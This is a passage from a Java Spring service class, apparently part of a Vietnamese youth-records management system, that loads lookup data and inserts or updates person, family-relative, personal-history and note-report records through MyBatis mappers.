QltnMReportExample.Criteria qltnMReportCriteria = qltnMReportExample.createCriteria(); qltnMReportCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); reportData = sym0040Dao.getQltnMReportMapper().selectByExample(qltnMReportExample); } catch (Exception ex) { ex.printStackTrace(); reportData = new ArrayList<QltnMReport>(); } try { model.addAttribute("reportData", mapper.writeValueAsString(reportData)); } catch (Exception ex) { model.addAttribute("reportData", "''"); } // category List<QltnMCategory> cateData = new ArrayList<QltnMCategory>(); try { QltnMCategoryExample QltnMCategoryExample = new QltnMCategoryExample(); QltnMCategoryExample.Criteria countryCriteria = QltnMCategoryExample.createCriteria(); countryCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); cateData = sym0040Dao.getQltnMCategoryMapper().selectByExample(QltnMCategoryExample); model.addAttribute("cateData", mapper.writeValueAsString(cateData)); } catch (Exception ex) { ex.printStackTrace(); cateData = new ArrayList<QltnMCategory>(); } try { model.addAttribute("cateData", mapper.writeValueAsString(cateData)); } catch (Exception ex) { model.addAttribute("cateData", ""); } // Status List<QltnMStatus> StatusData = new ArrayList<QltnMStatus>(); try { QltnMStatusExample QltnMStatusExample = new QltnMStatusExample(); QltnMStatusExample.Criteria countryCriteria = QltnMStatusExample.createCriteria(); countryCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); StatusData = sym0040Dao.getQltnMStatusMapper().selectByExample(QltnMStatusExample); model.addAttribute("StatusData", mapper.writeValueAsString(StatusData)); } catch (Exception ex) { ex.printStackTrace(); StatusData = new ArrayList<QltnMStatus>(); } try { model.addAttribute("StatusData", mapper.writeValueAsString(StatusData)); } catch (Exception ex) { model.addAttribute("StatusData", ""); } // Combobox Country Data List<QltnMCountry> countryData = new ArrayList<QltnMCountry>(); try { QltnMCountryExample qltnMCountryExample = new QltnMCountryExample(); QltnMCountryExample.Criteria countryCriteria = qltnMCountryExample.createCriteria(); countryCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); countryData = sym0040Dao.getQltnMCountryMapper().selectByExample(qltnMCountryExample); model.addAttribute("countryData", mapper.writeValueAsString(countryData)); } catch (Exception ex) { ex.printStackTrace(); countryData = new ArrayList<QltnMCountry>(); } try { model.addAttribute("countryData", mapper.writeValueAsString(countryData)); } catch (Exception ex) { model.addAttribute("countryData", ""); } // University List<QltnMUniversity> universityData = new ArrayList<QltnMUniversity>(); try { universityData = sym0040Dao.getQltnMUniversityMapper().selectByExample(null); model.addAttribute("universityData", mapper.writeValueAsString(universityData)); } catch (Exception ex) { ex.printStackTrace(); universityData = new ArrayList<QltnMUniversity>(); } try { model.addAttribute("universityData", mapper.writeValueAsString(universityData)); } catch (Exception ex) { model.addAttribute("universityData", "''"); } // education List<QltnMEducational> educationData = new ArrayList<QltnMEducational>(); try { educationData = sym0040Dao.getQltnMEducationalMapper().selectByExample(null); model.addAttribute("educationData", mapper.writeValueAsString(educationData)); } catch (Exception ex) { ex.printStackTrace(); educationData = new ArrayList<QltnMEducational>(); } try { model.addAttribute("educationData", mapper.writeValueAsString(educationData)); } catch (Exception ex) { model.addAttribute("educationData", "''"); } } /** * getCityNameByCountryId. * * @param countryId * @return */ public List<QltnMCity> getCityNameByCountryId(String countryId) { // Combobox City Data List<QltnMCity> cityData = new ArrayList<QltnMCity>(); QltnMCityExample qltnMCityExample = new QltnMCityExample(); QltnMCityExample.Criteria cityCriteria = qltnMCityExample.createCriteria(); cityCriteria.andCountryIdEqualTo(countryId); cityCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); cityData = sym0040Dao.getQltnMCityMapper().selectByExample(qltnMCityExample); return cityData; } public List<QltnMSpecialized> getSpecializedDataByUniversityId(String universityId) { // Combobox City Data List<QltnMSpecialized> specializedData = new ArrayList<QltnMSpecialized>(); QltnMSpecializedExample qltnMSpecializedExample = new QltnMSpecializedExample(); QltnMSpecializedExample.Criteria specializedCriteria = qltnMSpecializedExample.createCriteria(); specializedCriteria.andUniversityIdEqualTo(universityId); specializedCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); specializedData = sym0040Dao.getQltnMSpecializedMapper().selectByExample(qltnMSpecializedExample); return specializedData; } public List<QltnMUniversity> getUniversityDataByEducationId(String educationId) { // Combobox City Data List<QltnMUniversity> universityData = new ArrayList<QltnMUniversity>(); QltnMUniversityExample qltnMUniversityExample = new QltnMUniversityExample(); QltnMUniversityExample.Criteria universityCriteria = qltnMUniversityExample.createCriteria(); universityCriteria.andEducationIdEqualTo(educationId); universityCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); universityData = sym0040Dao.getQltnMUniversityMapper().selectByExample(qltnMUniversityExample); return universityData; } public List<QltnMDistrict> getDistrictNameByCityId(String countryId, String cityId) { // Combobox City Data List<QltnMDistrict> districtData = new ArrayList<QltnMDistrict>(); QltnMDistrictExample qltnMDistrictExample = new QltnMDistrictExample(); QltnMDistrictExample.Criteria districtCriteria = qltnMDistrictExample.createCriteria(); districtCriteria.andCountryIdEqualTo(countryId); districtCriteria.andCityIdEqualTo(cityId); districtCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); districtData = sym0040Dao.getQltnMDistrictMapper().selectByExample(qltnMDistrictExample); return districtData; } public List<QltnMWards> getWardsNameByDistrictId(String countryId, String cityId, String districtId) { // Combobox wards Data List<QltnMWards> wardsData = new ArrayList<QltnMWards>(); QltnMWardsExample qltnMWardsExample = new QltnMWardsExample(); QltnMWardsExample.Criteria wardsCriteria = qltnMWardsExample.createCriteria(); wardsCriteria.andCountryIdEqualTo(countryId); wardsCriteria.andCityIdEqualTo(cityId); wardsCriteria.andDistrictIdEqualTo(districtId); wardsCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); wardsData = sym0040Dao.getQltnMWardsMapper().selectByExample(qltnMWardsExample); return wardsData; } public List<QltnMTown> getTownNameByWardsId(String countryId, String cityId, String districtId, String wardsId) { // Combobox Town Data List<QltnMTown> townData = new ArrayList<QltnMTown>(); QltnMTownExample qltnMTownExample = new QltnMTownExample(); QltnMTownExample.Criteria townCriteria = qltnMTownExample.createCriteria(); townCriteria.andCountryIdEqualTo(countryId); townCriteria.andCityIdEqualTo(cityId); townCriteria.andDistrictIdEqualTo(districtId); townCriteria.andWardsIdEqualTo(wardsId); townCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); townData = sym0040Dao.getQltnMTownMapper().selectByExample(qltnMTownExample); return townData; } public List<QltnMGroups> getGroupsDataByTownId(String countryId, String cityId, String districtId, String wardsId, String townId) { // Combobox Groups Data List<QltnMGroups> townData = new ArrayList<QltnMGroups>(); QltnMGroupsExample qltnMGroupsExample = new QltnMGroupsExample(); QltnMGroupsExample.Criteria groupsCriteria = qltnMGroupsExample.createCriteria(); groupsCriteria.andCountryIdEqualTo(countryId); groupsCriteria.andCityIdEqualTo(cityId); groupsCriteria.andDistrictIdEqualTo(districtId); groupsCriteria.andWardsIdEqualTo(wardsId); groupsCriteria.andTownIdEqualTo(townId); groupsCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); townData = sym0040Dao.getQltnMGroupsMapper().selectByExample(qltnMGroupsExample); return townData; } /** * getPersonDetail. * * get person's information * * @param personId * @return */ public List<Sym0041Result> getPersonDetail(String personId) { List<Sym0041Result> symList0041 = new ArrayList<Sym0041Result>(); HashMap<String, Object> params = createSearchConditionParams(personId); try { logger.info(LoggerMessage.SEARCHING_STRATED); // search starts symList0041 = sym0041Dao.getSym0041Mapper().getPersonDetail(params); logger.info(LoggerMessage.EXECUTION_FINISHED); if (symList0041.size() > 0) { // handle city input data convertSanitize(symList0041); logger.info(LoggerMessage.SEARCHING_FINISHED); } else { logger.info(LoggerMessage.SEARCHING_FINISHED); logger.info(LoggerMessage.ZERO_ITEM); } } catch (OutOfMemoryError ex) { ex.printStackTrace(); Sym0041Result tempObj = new Sym0041Result(); tempObj.setSearchDataTotalCounts("-1"); symList0041.add(tempObj); } catch (Exception ex) { ex.printStackTrace(); symList0041 = null; } return symList0041; } private HashMap<String, Object> createSearchConditionParams(String personId) { HashMap<String, Object> params = new HashMap<String, Object>(); // cate Id params.put("personId", personId); return params; } private void convertSanitize(List<Sym0041Result> inputData) { for (int i = 0; i < inputData.size(); i++) { Sym0041Result currentData = inputData.get(i); // country Name currentData.setCountryName(Util.convertSanitize(currentData.getCountryName())); // city Name currentData.setCityName(Util.convertSanitize(currentData.getCityName())); // District Name currentData.setDistrictName(Util.convertSanitize(currentData.getDistrictName())); // wards Name currentData.setWardsName(Util.convertSanitize(currentData.getWardsName())); // town Name currentData.setTownName(Util.convertSanitize(currentData.getTownName())); // groups Name currentData.setGroupsName(Util.convertSanitize(currentData.getGroupsName())); // category Name currentData.setCateName(Util.convertSanitize(currentData.getCateName())); // status Name currentData.setStatusName(Util.convertSanitize(currentData.getStatusName())); // person Name currentData.setPersonName(Util.convertSanitize(currentData.getPersonName())); // level currentData.setLevel(Util.convertSanitize(currentData.getLevel())); // University Name currentData.setUniversityName(Util.convertSanitize(currentData.getUniversityName())); // specialized Name currentData.setSpecializedName(Util.convertSanitize(currentData.getSpecializedName())); } } private Boolean checkInputBlankFiled(QltnMPerson personData) { // check cateId != -2 if (personData.getCateId().equalsIgnoreCase(Constants.SEARCH_CONDITION_NO_SELECT)) { return false; } else if (personData.getStatusId().equalsIgnoreCase(Constants.SEARCH_CONDITION_NO_SELECT)) { // check statusId // != -2 return false; } else if (personData.getPersonName().trim().equalsIgnoreCase("")) { // check personName != "" return false; } else if (personData.getDateOfBirth().trim().equalsIgnoreCase("")) { // check DateOfBirth != "" return false; } else if (personData.getMonthOfBirth().trim().equalsIgnoreCase("")) { // check MonthOfBirth != "" return false; } else if (personData.getYearOfBirth().trim().equalsIgnoreCase("")) { // check YearOfBirth != "" return false; } else if (personData.getPhone().trim().equalsIgnoreCase("")) { // check phone != "" return false; } else if (personData.getKskquanStt().trim().equalsIgnoreCase("")) { // check KskquanStt != "" return false; } else if (personData.getLltnStt().trim().equalsIgnoreCase("")) { // check LltnStt != "" return false; } else if (personData.getIdentityCard().trim().equalsIgnoreCase("")) { // check identityCard != "" return false; } else if (personData.getPlaceOfBirth().trim().equalsIgnoreCase("")) { // check PlaceOfBirth != "" return false; } else if (personData.getNativeCountry().trim().equalsIgnoreCase("")) { // check nativeCountry != "" return false; } else if (personData.getNation().trim().equalsIgnoreCase("")) { // check nation != "" return false; } else if (personData.getReligion().trim().equalsIgnoreCase("")) { // check religion != "" return false; } else if (personData.getPermanentAddress().trim().equalsIgnoreCase("")) { // check permanentAddress != "" return false; } else if (personData.getTemporaryResidenceAddress().trim().equalsIgnoreCase("")) { // check // temporaryResidenceAddress // != "" return false; } else if (personData.getNational().trim().equalsIgnoreCase("")) { // check national != "" return false; } else if (personData.getCityId().trim().equalsIgnoreCase("")) { // check cityId != "" return false; } else if (personData.getDistrictId().trim().equalsIgnoreCase("")) { // check districtId != "" return false; } else if (personData.getWardsId().trim().equalsIgnoreCase("")) { // check wardsId != "" return false; } else if (personData.getTownId().trim().equalsIgnoreCase("")) { // check townId != "" return false; } else if (personData.getGroupsId().trim().equalsIgnoreCase("")) { // check groupsId != "" return false; } else if (personData.getElement().trim().equalsIgnoreCase("")) { // check element != "" return false; } else if (personData.getUniversityId().trim().equalsIgnoreCase("")) { // check universityId != "" return false; } else if (personData.getEducationalId().trim().equalsIgnoreCase("")) { // check educationalId != "" return false; } else if (personData.getGraduationYear().trim().equalsIgnoreCase("")) { // check graduationYear != "" return false; } else if (personData.getSpecializedId().trim().equalsIgnoreCase("")) { // check specializedId != "" return false; } else if (personData.getJobId().trim().equalsIgnoreCase("")) { // check jobId != "" return false; } else if (personData.getWorkPlace().trim().equalsIgnoreCase("")) { // check workPlace != "" return false; } else { return true; } } /** * insertData Person * * @param personData * @return */ public String insertData(QltnMPerson personData) { // variable definition String returnValue = Constants.INSERT_RESULT_SUCCESSFUL; try { // check for user input if (!checkInputBlankFiled(personData)) { // blank field(s) logger.error("Error message: Blank fields"); returnValue = Constants.VALIDATE_BLANK_FIELDS; return returnValue; } // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { HashMap<String, Object> params = new HashMap<String, Object>(); params.put("personIdDefault", Constants.PERSON_DEFAULT_ID); String idNumberStr = sym0043Dao.getSym0043Mapper().getLastIdPerson(params); int idNumber = 0; if (idNumberStr != null) { idNumber = Integer.parseInt(idNumberStr.substring(2)); } if (idNumber <= Constants.PERSON_DEFAULT_ID) { idNumber = idNumber + 1; String personId = Constants.PERSON_CHARATER + String.format("%05d", idNumber); QltnMPerson personObj = new QltnMPerson(); // person Id personObj.setPersonId(personId); // cate Id personObj.setCateId(personData.getCateId()); // status Id personObj.setStatusId(personData.getStatusId()); // person Name personObj.setPersonName(personData.getPersonName().trim()); // date Of Birth personObj.setDateOfBirth(personData.getDateOfBirth().trim()); // month Of Birth personObj.setMonthOfBirth(personData.getMonthOfBirth().trim()); // year Of Birth personObj.setYearOfBirth(personData.getYearOfBirth().trim()); // phone personObj.setPhone(personData.getPhone().trim()); // kskquanStt personObj.setKskquanStt(personData.getKskquanStt().trim()); // lltnStt personObj.setLltnStt(personData.getLltnStt().trim()); // IdentityCard personObj.setIdentityCard(personData.getIdentityCard().trim()); // placeOfBirth personObj.setPlaceOfBirth(personData.getPlaceOfBirth().trim()); // nativeCountry personObj.setNativeCountry(personData.getNativeCountry().trim()); // nation personObj.setNation(personData.getNation().trim()); // religion personObj.setReligion(personData.getReligion().trim()); // permanentAddress personObj.setPermanentAddress(personData.getPermanentAddress().trim()); // temporaryResidenceAddress personObj.setTemporaryResidenceAddress(personData.getTemporaryResidenceAddress().trim()); // national personObj.setNational(personData.getNational().trim()); // cityId personObj.setCityId(personData.getCityId().trim()); // District Id personObj.setDistrictId(personData.getDistrictId().trim()); // Wards Id personObj.setWardsId(personData.getWardsId().trim()); // Town Id personObj.setTownId(personData.getTownId().trim()); // groups Id personObj.setGroupsId(personData.getGroupsId().trim()); // element personObj.setElement(personData.getElement().trim()); // universityId personObj.setUniversityId(personData.getUniversityId().trim()); // educationalId personObj.setEducationalId(personData.getEducationalId().trim()); // specializedId personObj.setSpecializedId(personData.getSpecializedId().trim()); // jobId personObj.setJobId(personData.getJobId().trim()); // Work Place personObj.setWorkPlace(personData.getWorkPlace().trim()); // create user id personObj.setCreateUserId(Util.getUserInfo().getID()); // update user id personObj.setUpdateUserId(Util.getUserInfo().getID()); // delete flag personObj.setDeleteFlag(Constants.DELETE_FLAG_OFF); int result = sym0043Dao.getQltnMPersonMapper().insert(personObj); if (result > 0) { // insert successfully // register to DB txManager.commit(status); } else { returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } } catch (DuplicateKeyException ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_DUPLICATED; txManager.rollback(status); } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; } return returnValue; } public String updateData(QltnMPerson personData) { // variable definition String returnValue = Constants.INSERT_RESULT_SUCCESSFUL; try { // check for user input if (!checkInputBlankFiled(personData)) { // blank field(s) logger.error("Error message: Blank fields"); returnValue = Constants.VALIDATE_BLANK_FIELDS; return returnValue; } // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { QltnMPerson personObj = new QltnMPerson(); // person Id personObj.setPersonId(personData.getPersonId()); // cate Id personObj.setCateId(personData.getCateId()); // status Id personObj.setStatusId(personData.getStatusId()); // person Name personObj.setPersonName(personData.getPersonName().trim()); // date Of Birth personObj.setDateOfBirth(personData.getDateOfBirth().trim()); // month Of Birth personObj.setMonthOfBirth(personData.getMonthOfBirth().trim()); // year Of Birth personObj.setYearOfBirth(personData.getYearOfBirth().trim()); // phone personObj.setPhone(personData.getPhone().trim()); // kskquanStt personObj.setKskquanStt(personData.getKskquanStt().trim()); // lltnStt personObj.setLltnStt(personData.getLltnStt().trim()); // IdentityCard personObj.setIdentityCard(personData.getIdentityCard().trim()); // placeOfBirth personObj.setPlaceOfBirth(personData.getPlaceOfBirth().trim()); // nativeCountry personObj.setNativeCountry(personData.getNativeCountry().trim()); // nation personObj.setNation(personData.getNation().trim()); // religion personObj.setReligion(personData.getReligion().trim()); // permanentAddress personObj.setPermanentAddress(personData.getPermanentAddress().trim()); // temporaryResidenceAddress personObj.setTemporaryResidenceAddress(personData.getTemporaryResidenceAddress().trim()); // national personObj.setNational(personData.getNational().trim()); // cityId personObj.setCityId(personData.getCityId().trim()); // District Id personObj.setDistrictId(personData.getDistrictId().trim()); // Wards Id personObj.setWardsId(personData.getWardsId().trim()); // Town Id personObj.setTownId(personData.getTownId().trim()); // groups Id personObj.setGroupsId(personData.getGroupsId().trim()); // element personObj.setElement(personData.getElement().trim()); // universityId personObj.setUniversityId(personData.getUniversityId().trim()); // educationalId personObj.setEducationalId(personData.getEducationalId().trim()); // specializedId personObj.setSpecializedId(personData.getSpecializedId().trim()); // jobId personObj.setJobId(personData.getJobId().trim()); // Work Place personObj.setWorkPlace(personData.getWorkPlace().trim()); // update user id personObj.setUpdateUserId(Util.getUserInfo().getID()); // delete flag personObj.setDeleteFlag(Constants.DELETE_FLAG_OFF); int result = sym0043Dao.getQltnMPersonMapper().updateByPrimaryKeySelective(personObj); if (result > 0) { // insert successfully // register to DB txManager.commit(status); } else { returnValue = Constants.UPDATE_RESULT_SUCCESSFUL; txManager.rollback(status); } } catch (DuplicateKeyException ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_DUPLICATED; txManager.rollback(status); } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.UPDATE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.UPDATE_RESULT_FAILED; } return returnValue; } /** * insertProcessPerson. * * @param processYoursellStr * @return */ public String insertProcessPerson(String processYoursellStr, String personId) { String returnValue = ""; int resultInsertData = 0; try { // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); // convert noteReportStr to String Array String processYoursellStrArr[] = processYoursellStr.split(","); List<String> processYourseltArr = Arrays.asList(processYoursellStrArr); setCountProcessPerson(0); for (int i = 0; i < processYourseltArr.size(); i++) { String item = processYourseltArr.get(i); int result = 0; // call function insertProcessYourselt try { result = insertProcessYourselt(item, personId); if (result > 0) { // insert successfully resultInsertData = 1; } else { resultInsertData = 0; } } catch (DuplicateKeyException ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_DUPLICATED; txManager.rollback(status); } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } // check resultInsertData == 1 ? if (resultInsertData == 1) { // insert successfully register to DB txManager.commit(status); returnValue = Constants.INSERT_RESULT_SUCCESSFUL; } else { returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; } return returnValue; } /** * insert Data into table process person * * @param processYoursellData * @param idNumberStr * @return */ public int insertProcessYourselt(String processYoursellData, String idNumberStr) { int result = 0; QltnMProcessPerson processPersonObj = new QltnMProcessPerson(); // convert String to String Array String detailProcessPersonArr[] = processYoursellData.split(":"); int idNumber = 0; if (getCountProcessPerson() < 1) { idNumber = 0; } else { idNumber = getCountProcessPerson(); } // tang so lan insert Process của thanh niên setCountProcessPerson(getCountProcessPerson() + 1); if (idNumber <= Constants.PERSON_DEFAULT_ID) { idNumber = idNumber + 1; String processPersonId = Constants.PROCESS_PERSON_CHARATER + String.format("%03d", idNumber); // process Person Id processPersonObj.setProcessPersonId(processPersonId); // FROM_YEAR processPersonObj.setFromYear(detailProcessPersonArr[1]); // TO_YEAR processPersonObj.setToYear(detailProcessPersonArr[2]); // CONTENT processPersonObj.setContent(detailProcessPersonArr[3]); // person Id processPersonObj.setPersonId(idNumberStr); // create user id processPersonObj.setCreateUserId(Util.getUserInfo().getID()); // update user id processPersonObj.setUpdateUserId(Util.getUserInfo().getID()); // delete flag processPersonObj.setDeleteFlag(Constants.DELETE_FLAG_OFF); result = sym0043Dao.getQltnMProcessPersonMapper().insert(processPersonObj); } return result; } public String updateProcessPerson(String processYoursellStr, String personId) { String returnValue = ""; int resultInsertData = 0; try { // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); // convert noteReportStr to String Array String processYoursellStrArr[] = processYoursellStr.split(","); List<String> processYourseltArr = Arrays.asList(processYoursellStrArr); setCountProcessPerson(0); for (int i = 0; i < processYourseltArr.size(); i++) { String item = processYourseltArr.get(i); int result = 0; // call function insertProcessYourselt try { result = updateProcessYourselt(item, personId); if (result > 0) { // insert successfully resultInsertData = 1; } else { resultInsertData = 0; } } catch (DuplicateKeyException ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_DUPLICATED; txManager.rollback(status); } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } // check resultInsertData == 1 ? if (resultInsertData == 1) { // insert successfully register to DB txManager.commit(status); returnValue = Constants.INSERT_RESULT_SUCCESSFUL; } else { returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; } return returnValue; } public int updateProcessYourselt(String processYoursellData, String idNumberStr) { int result = 0; QltnMProcessPerson processPersonObj = new QltnMProcessPerson(); // convert String to String Array String detailProcessPersonArr[] = processYoursellData.split(":"); // tang so lan insert Process của thanh niên setCountProcessPerson(getCountProcessPerson() + 1); // process Person Id processPersonObj.setProcessPersonId(detailProcessPersonArr[0]); // FROM_YEAR processPersonObj.setFromYear(detailProcessPersonArr[1]); // TO_YEAR processPersonObj.setToYear(detailProcessPersonArr[2]); // CONTENT processPersonObj.setContent(detailProcessPersonArr[3]); // person Id processPersonObj.setPersonId(idNumberStr); // create user id processPersonObj.setCreateUserId(Util.getUserInfo().getID()); // update user id processPersonObj.setUpdateUserId(Util.getUserInfo().getID()); // delete flag processPersonObj.setDeleteFlag(Constants.DELETE_FLAG_OFF); try { result = sym0043Dao.getQltnMProcessPersonMapper().deleteByPrimaryKey(processPersonObj); result = sym0043Dao.getQltnMProcessPersonMapper().insert(processPersonObj); } catch (Exception e) { // TODO: handle exception } return result; } public String insertRelation(String relationStr, String personId) { String returnValue = ""; int resultInsertData = 0; try { // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); String relationStrArr[] = relationStr.split(","); List<String> familyRelativesArr = Arrays.asList(relationStrArr); setCountRelation(0); for (int i = 0; i < familyRelativesArr.size(); i++) { String item = familyRelativesArr.get(i); int result = 0; // call function insertRelativePerson try { result = insertRelativePerson(item, personId); if (result > 0) { // insert successfully resultInsertData = 1; } else { resultInsertData = 0; } } catch (DuplicateKeyException ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_DUPLICATED; txManager.rollback(status); } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } // check resultInsertData == 1 ? if (resultInsertData == 1) { // insert successfully register to DB txManager.commit(status); returnValue = Constants.INSERT_RESULT_SUCCESSFUL; } else { returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; } return returnValue; } /** * insert Data into table Family Relatives * * @param processYoursellData * @param idNumberStr * @return */ public int insertRelativePerson(String relationStr, String idNumberStr) { int result = 0; QltnMFamilyRelatives familyRelativesPersonObj = new QltnMFamilyRelatives(); // convert String to String Array String detailFamilyRelativesArr[] = relationStr.split(":"); // select max id in QLTN_M_NOTE_REPORT int idNumber = 0; if (getCountRelation() < 1) { idNumber = 0; } else { idNumber = getCountRelation(); } // tang so lan insert relationship của thanh niên setCountRelation(getCountRelation() + 1); if (idNumber <= Constants.PERSON_DEFAULT_ID) { idNumber = idNumber + 1; String familyPersonId = Constants.FAMILY_RELATION_PERSON_CHARATER + String.format("%03d", idNumber); // family Person Id familyRelativesPersonObj.setFamilyPersonId(familyPersonId); // relation familyRelativesPersonObj.setRelation(detailFamilyRelativesArr[1]); // status familyRelativesPersonObj.setStatus(detailFamilyRelativesArr[2]); // birthDay familyRelativesPersonObj.setBirthDay(detailFamilyRelativesArr[3]); // job familyRelativesPersonObj.setJob(detailFamilyRelativesArr[4]); // workPlace familyRelativesPersonObj.setWorkPlace(detailFamilyRelativesArr[5]); // person Id familyRelativesPersonObj.setPersonId(idNumberStr); // create user id familyRelativesPersonObj.setCreateUserId(Util.getUserInfo().getID()); // update user id familyRelativesPersonObj.setUpdateUserId(Util.getUserInfo().getID()); // delete flag familyRelativesPersonObj.setDeleteFlag(Constants.DELETE_FLAG_OFF); result = sym0043Dao.getQltnMFamilyRelativesMapper().insert(familyRelativesPersonObj); } return result; } public String insertNoteReport(String noteReportStr, String personId) { String returnValue = ""; int resultInsertData = 0; try { // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); String noteReportArr[] = noteReportStr.split(","); List<String> noteReportStrArr = Arrays.asList(noteReportArr); setCountNoteReport(0); for (int i = 0; i < noteReportStrArr.size(); i++) { String item = noteReportStrArr.get(i); int result = 0; // call function insertRelativePerson try { result = insertDataNoteReport(item, personId); if (result > 0) { // insert successfully resultInsertData = 1; } else { resultInsertData = 0; } } catch (DuplicateKeyException ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_DUPLICATED; txManager.rollback(status); } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } // check resultInsertData == 1 ? if (resultInsertData == 1) { // insert successfully register to DB txManager.commit(status); returnValue = Constants.INSERT_RESULT_SUCCESSFUL; } else { returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; } return returnValue; } /** * insertDataNoteReport function insert Data * * @param noteReportData * @param idNumberStr * @return */ private int insertDataNoteReport(String noteReportData, String personId) { int result = 0; QltnMNoteReport noteReportObj = new QltnMNoteReport(); // convert String to String Array String detailnoteReportArr[] = noteReportData.split(":"); int idNumber = 0; if (getCountNoteReport() < 1) { idNumber = 0; } else { idNumber = getCountNoteReport(); } // tang so lan insert note report của thanh niên setCountNoteReport(getCountNoteReport() + 1); if (idNumber <= Constants.PERSON_DEFAULT_ID) { idNumber = idNumber + 1; String noteReportId = Constants.NOTE_REPORT_CHARATER + String.format("%05d", idNumber); // note reportId noteReportObj.setNoteReportId(noteReportId); // report Id noteReportObj.setReportId(detailnoteReportArr[0]); // detail Report Id noteReportObj.setDetailReportId(detailnoteReportArr[1]); // person Id noteReportObj.setPersonId(personId); // criteria Id noteReportObj.setCriteraId(detailnoteReportArr[2]); // create user id noteReportObj.setCreateUserId(Util.getUserInfo().getID()); // update user id noteReportObj.setUpdateUserId(Util.getUserInfo().getID()); // delete flag noteReportObj.setDeleteFlag(Constants.DELETE_FLAG_OFF); result = sym0043Dao.getQltnMNoteReportMapper().insert(noteReportObj); } return result; } /** * * @param relationStr * @param personId * @return */ public String updateRelation(String relationStr, String personId) { String returnValue = ""; int resultInsertData = 0; try { // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); // convert noteReportStr to String Array String relationStrArr[] = relationStr.split(","); List<String> familyRelativesArr = Arrays.asList(relationStrArr); setCountRelation(0); for (int i = 0; i < familyRelativesArr.size(); i++) { String item = familyRelativesArr.get(i); int result = 0; // call function insertProcessYourselt try { result = updateRelativePerson(item, personId); if (result > 0) { // insert 